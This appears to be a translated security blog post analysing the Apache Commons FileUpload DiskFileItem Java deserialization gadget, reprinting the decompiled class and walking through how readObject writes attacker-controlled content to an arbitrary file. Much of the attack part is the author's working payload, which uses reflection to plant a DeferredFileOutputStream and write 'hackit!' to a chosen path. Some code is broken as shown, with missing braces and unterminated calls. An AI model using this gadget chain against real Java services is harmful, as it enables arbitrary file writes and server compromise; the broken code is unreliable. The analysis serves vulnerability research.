payload
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package org.apache.commons.fileupload.disk;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.io.UnsupportedEncodingException;
import java.util.Map;
import java.util.UUID;
import java.util.concurrent.atomic.AtomicInteger;
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.FileItemHeaders;
import org.apache.commons.fileupload.FileUploadException;
import org.apache.commons.fileupload.ParameterParser;
import org.apache.commons.fileupload.util.Streams;
import org.apache.commons.io.IOUtils;
import org.apache.commons.io.output.DeferredFileOutputStream;
public class DiskFileItem implements FileItem {
private static final long serialVersionUID = 2237570099615271025L;
public static final String DEFAULT_CHARSET = "ISO-8859-1";
private static final String UID = UUID.randomUUID().toString().replace('-', '_');
private static final AtomicInteger COUNTER = new AtomicInteger(0);
private String fieldName;
private String contentType;
private boolean isFormField;
private String fileName;
private long size = -1L;
private int sizeThreshold;
private File repository;
private byte[] cachedContent;
private transient DeferredFileOutputStream dfos;
private transient File tempFile;
private File dfosFile;
private FileItemHeaders headers;
public DiskFileItem(String fieldName, String contentType, boolean isFormField, String fileName, int sizeThreshold, File repository) {
this.fieldName = fieldName;
this.contentType = contentType;
this.isFormField = isFormField;
this.fileName = fileName;
this.sizeThreshold = sizeThreshold;
this.repository = repository;
public InputStream getInputStream() throws IOException {
if (!this.isInMemory()) {
return new FileInputStream(this.dfos.getFile());
} else {
if (this.cachedContent == null) {
this.cachedContent = this.dfos.getData();
return new ByteArrayInputStream(this.cachedContent);
public String getContentType() {
return this.contentType;
public String getCharSet() {
ParameterParser parser = new ParameterParser();
parser.setLowerCaseNames(true);
Map<String, String> params = parser.parse(this.getContentType(), ';');
return (String)params.get("charset");
public String getName() {
return Streams.checkFileName(this.fileName);
public boolean isInMemory() {
return this.cachedContent != null ? true : this.dfos.isInMemory();
public long getSize() {
if (this.size >= 0L) {
return this.size;
} else if (this.cachedContent != null) {
return (long)this.cachedContent.length;
} else {
return this.dfos.isInMemory() ? (long)this.dfos.getData().length : this.dfos.getFile().length();
public byte[] get() {
if (this.isInMemory()) {
if (this.cachedContent == null) {
this.cachedContent = this.dfos.getData();
return this.cachedContent;
} else {
byte[] fileData = new byte[(int)this.getSize()];
InputStream fis = null;
try {
fis = new BufferedInputStream(new FileInputStream(this.dfos.getFile()));
((InputStream)fis).read(fileData);
}
fileData = null;
}
if (fis != null) {
try {
((InputStream)fis).close();
} catch (IOException var11) {
return fileData;
public String getString(String charset) throws UnsupportedEncodingException {
return new String(this.get(), charset);
public String getString() {
byte[] rawdata = this.get();
String charset = this.getCharSet();
if (charset == null) {
charset = "ISO-8859-1";
try {
return new String(rawdata, charset);
} catch (UnsupportedEncodingException var4) {
return new String(rawdata);
public void write(File file) throws Exception {
if (this.isInMemory()) {
FileOutputStream fout = null;
try {
fout = new FileOutputStream(file);
fout.write(this.get());
}
if (fout != null) {
fout.close();
} else {
File outputFile = this.getStoreLocation();
if (outputFile == null) {
throw new FileUploadException("Cannot write uploaded file to disk!");
this.size = outputFile.length();
if (!outputFile.renameTo(file)) {
BufferedInputStream in = null;
BufferedOutputStream out = null;
try {
in = new BufferedInputStream(new FileInputStream(outputFile));
out = new BufferedOutputStream(new FileOutputStream(file));
IOUtils.copy(in, out);
}
if (in != null) {
try {
in.close();
}
if (out != null) {
try {
out.close();
}
public void delete() {
this.cachedContent = null;
File outputFile = this.getStoreLocation();
if (outputFile != null && outputFile.exists()) {
outputFile.delete();
public String getFieldName() {
return this.fieldName;
public void setFieldName(String fieldName) {
this.fieldName = fieldName;
public boolean isFormField() {
return this.isFormField;
public void setFormField(boolean state) {
this.isFormField = state;
public OutputStream getOutputStream() throws IOException {
if (this.dfos == null) {
File outputFile = this.getTempFile();
this.dfos = new DeferredFileOutputStream(this.sizeThreshold, outputFile);
return this.dfos;
public File getStoreLocation() {
return this.dfos == null ? null : this.dfos.getFile();
protected void finalize() {
File outputFile = this.dfos.getFile();
if (outputFile != null && outputFile.exists()) {
outputFile.delete();
protected File getTempFile() {
if (this.tempFile == null) {
File tempDir = this.repository;
if (tempDir == null) {}}
tempDir = new File(System.getProperty("java.io.tmpdir"));
String tempFileName = String.format("upload_%s_%s.tmp", UID, getUniqueId());
this.tempFile = new File(tempDir, tempFileName);
return this.tempFile;
private static String getUniqueId() {
int limit = 100000000;
int current = COUNTER.getAndIncrement();
String id = Integer.toString(current);
if (current < 100000000) {
id = ("00000000" + id).substring(id.length());
return id;
public String toString() {
return String.format("name=%s, StoreLocation=%s, size=%s bytes, isFormField=%s, FieldName=%s", this.getName(), this.getStoreLocation(), this.getSize(), this.isFormField(), this.getFieldName());
private void writeObject(ObjectOutputStream out) throws IOException {
if (this.dfos.isInMemory()) {
this.cachedContent = this.get();
} else {
this.cachedContent = null;
this.dfosFile = this.dfos.getFile();
out.defaultWriteObject();
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
OutputStream output = this.getOutputStream();
if (this.cachedContent != null) {
output.write(this.cachedContent);
} else {
FileInputStream input = new FileInputStream(this.dfosFile);
IOUtils.copy(input, output);
this.dfosFile.delete();
this.dfosFile = null;
output.close();
this.cachedContent = null;
public FileItemHeaders getHeaders() {
return this.headers;
public void setHeaders(FileItemHeaders pHeaders) {
this.headers = pHeaders;
Analysis
getObject
In the function, the file impact is divided into several categories:
command = "write;C:\\Users\\Cheng\\Desktop\\Files;232323";
// Categorize by different methods
if (parts.length == 3 && "copyAndDelete".equals(parts[0])) {
return copyAndDelete(parts[1], parts[2]);
} else if (parts.length == 3 && "write".equals(parts[0])) {
return write(parts[1], parts[2].getBytes("US-ASCII"));
} else if (parts.length == 3 && "writeB64".equals(parts[0])) {
return write(parts[1], Base64.decodeBase64(parts[2]));
} else if (parts.length == 3 && "writeOld".equals(parts[0])) {
return writePre131(parts[1], parts[2].getBytes("US-ASCII"));
} else if (parts.length == 3 && "writeOldB64".equals(parts[0])) {
return writePre131(parts[1], Base64.decodeBase64(parts[2]));
Let's analyze them one by one:
Write analysis
Overall analysis

Starting from readobject, analysis reveals that the core writing to the file is inoutput.write(this.cachedContent); ,
This meansthis.cachedContent
this is the core that needs to be paid attention to.
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
OutputStream output = this.getOutputStream();
if (this.cachedContent != null) {
output.write(this.cachedContent);
} else {
FileInputStream input = new FileInputStream(this.dfosFile);
IOUtils.copy(input, output);
this.dfosFile.delete();
this.dfosFile = null;
output.close();
this.cachedContent = null;
In the writeobject method, there is a call tothis.cachedContent
assignment:}}this.cachedContent = this.get();
private void writeObject(ObjectOutputStream out) throws IOException {
if (this.dfos.isInMemory()) {
this.cachedContent = this.get();
} else {
this.cachedContent = null;
this.dfosFile = this.dfos.getFile();
out.defaultWriteObject();
Next, let's analyze the assignment of get
public byte[] get() {
if (this.isInMemory()) {
if (this.cachedContent == null) {
this.cachedContent = this.dfos.getData();
return this.cachedContent;
} else {
byte[] fileData = new byte[(int)this.getSize()];
InputStream fis = null;
try {
fis = new BufferedInputStream(new FileInputStream(this.dfos.getFile()));
((InputStream)fis).read(fileData);
}
fileData = null;
}
if (fis != null) {
try {
((InputStream)fis).close();
} catch (IOException var11) {
return fileData;
After debugging, it was found to be inthis.cachedContent = this.dfos.getData();
assignment was made.
So if we can control dfos, we can achieve control over the file content.
So, this piece of code in the payload can be explained.
Reflections.setFieldValue(diskFileItem, "dfos", dfos);
This section can also be explained (here, I changed to a different way for convenience):
File outputFile = new File(filePath);
DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
dfos.write(data);
/* OutputStream os = (OutputStream)Reflections.getFieldValue(dfos, "memoryOutputStream");
os.write(data);*/
Just now, we mentioned controlling the dfos in get, so controlling it through reflection is the simplest way:
File repository = new File(repoPath);
DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository);
Reflections.setFieldValue(diskFileItem, "dfos", dfos);
Detail A
makePayload(data.length + 1, dir, dir + "/whatever", data);
Why these parameters are passed out and what are their uses? Their purposes are above?
data.length + 1
CorrespondingDeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
The 'thresh' in it refers to the threshold for a single file write.
When the amount of data to be written is less than or equal to the threshold, the data will be stored in memory.
When the amount of data to be written exceeds the threshold, DeferredFileOutputStream will automatically switch to disk storage.
Therefore, in order to write to the storage, it is necessary to have data.length + 1
repoPath
File repository = new File(repoPath);
DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository);
Let's talk about DiskFileItem first:DiskFileItem
The main function is to encapsulate the uploaded file or form field data and dynamically decide where to store the data in memory or on disk according to the configuration. When the file size is less than the specified threshold, the data will be stored in memory; when the file size exceeds the threshold, the data will be written to a temporary file on disk.
fieldName: The name of the form field.
contentType: The MIME type of the uploaded file.
isFormField: Whether it is a common form field (non-file field).
fileName: The original file name of the uploaded file.
sizeThreshold: The size threshold for memory storage (in bytes). When the file size exceeds this value, the data will be stored on disk.
repository: The directory for storing temporary files when files are stored on disk
Actually, repoPath is the directory for storing temporary files
filePath
File outputFile = new File(filePath);
DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
dfos.write(data);
outputFile
is aFile
Object, indicating when the data volume exceedsthreshold
This is the target file path where the data will be written. The role of this parameter is to explicitly specify the storage location of the data on the disk, which is the actual write path mentioned above.
Detail B
Why was it not written to /whatever?
Just change the threshold to a smaller number when making the payload.
However, if the number is small, a whatever file will be generated when constructing the payload in the forward serialization.
Detail C
Why does Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0); have this step?
You can trace it up to getOutputStream->readObject.
If this code is not present, nothing happens after executing the payload. Combined with the question just mentioned, it should be that there is no write to the storage, but it is written to memory.
marking, start debugging!}
Finally in
DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 1111, repository);
Here, sizeThreshold is set to 1111 to prevent the creation of files during object serialization, so the value is set very large. However, when assigning values to dfos later, if the value is set too large, it will cause the content to fail to be written to the disk.
public OutputStream getOutputStream() throws IOException {
if (this.dfos == null) {
File outputFile = this.getTempFile();
this.dfos = new DeferredFileOutputStream(this.sizeThreshold, outputFile);
Summary
1.org.apache.commons.fileupload.disk.DiskFileItem#readObject
under
OutputStream output = this.getOutputStream();
output.write(this.cachedContent);
It is possible to write to any file at any location, so I want to controlthis.getOutputStream()
withthis.cachedContent
.
2. The former inorg.apache.commons.fileupload.disk.DiskFileItem#getOutputStream
public OutputStream getOutputStream() throws IOException {
if (this.dfos == null) {
File outputFile = this.getTempFile();
this.dfos = new DeferredFileOutputStream(this.sizeThreshold, outputFile);
return this.dfos;
Here, only the control ofthis.sizeThreshold
Currently, it is not significant to control this variable, so it is temporarily put aside.
3. The latter inorg.apache.commons.fileupload.disk.DiskFileItem#writeObject
at the time, assign values through get:
private void writeObject(ObjectOutputStream out) throws IOException {
if (this.dfos.isInMemory()) {
this.cachedContent = this.get();
} else {
this.cachedContent = null;
this.dfosFile = this.dfos.getFile();
out.defaultWriteObject();
4. In get, it is also throughthis.dfos.getData()
to assign values, so control over dfos is performed.
public byte[] get() {
if (this.isInMemory()) {
if (this.cachedContent == null) {
this.cachedContent = this.dfos.getData();
return this.cachedContent;
5. This is the preliminary constructed payload:
public class Fileupload2 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
// DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, (File)null);
DiskFileItem dfi = new DiskFileItem("test","application/octet-stream",false,"1111",0,new File("C:\\Users\\Cheng\\Desktop\\Files"));
Class<? extends DiskFileItem> aClass = dfi.getClass();
Field dfos = aClass.getDeclaredField("dfos");
dfos.setAccessible(true);
// Construct dfos
DeferredFileOutputStream dfos_ = new DeferredFileOutputStream(0, new File("C:\\Users\\Cheng\\Desktop\\Files\\1111"));
dfos_.write("hackit!".getBytes());
dfos.set(dfi,dfos_);
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get(
oos.writeObject(dfi);
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(".\\1111")));
Object o = ois.readObject();
But after debugging, before readobject, the file write has been completed, so the parameter of dfos_ is modified to a larger value, thus avoiding the early file write.
Why consider modifyingDeferredFileOutputStream
is notDiskFileItem
?
DiskFileItem did not call write or similar methods, so it must not have written to the file in advance!
6. This is my payload:
package com.kiwi.fileupload;
import org.apache.commons.fileupload.disk.DiskFileItem;
import org.apache.commons.io.output.DeferredFileOutputStream;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Fileupload2 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
// DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, (File)null);
DiskFileItem dfi = new DiskFileItem("test","application/octet-stream",false,"1111",0,new File("C:\\Users\\Cheng\\Desktop\\Files"));
Class<? extends DiskFileItem> aClass = dfi.getClass();
Field dfos = aClass.getDeclaredField("dfos");
dfos.setAccessible(true);
// Construct dfos
DeferredFileOutputStream dfos_ = new DeferredFileOutputStream(10000, new File("C:\\Users\\Cheng\\Desktop\\Files\\1111"));
dfos_.write("hackit!".getBytes());
dfos.set(dfi,dfos_);
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get(
oos.writeObject(dfi);
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(
Object o = ois.readObject();
Analysis of the principle of Fastjson deserialization vulnerability
Analysis of PyTorch library RPC framework deserialization RCE vulnerability (CVE
fastjson deserialization RCE vulnerability reproduction
JBoss JMXInvokerServlet Deserialization Vulnerability
Analysis of OAuth2.0 Vulnerability Cases and Detailed Explanation of PortSwigger Range

评论已关闭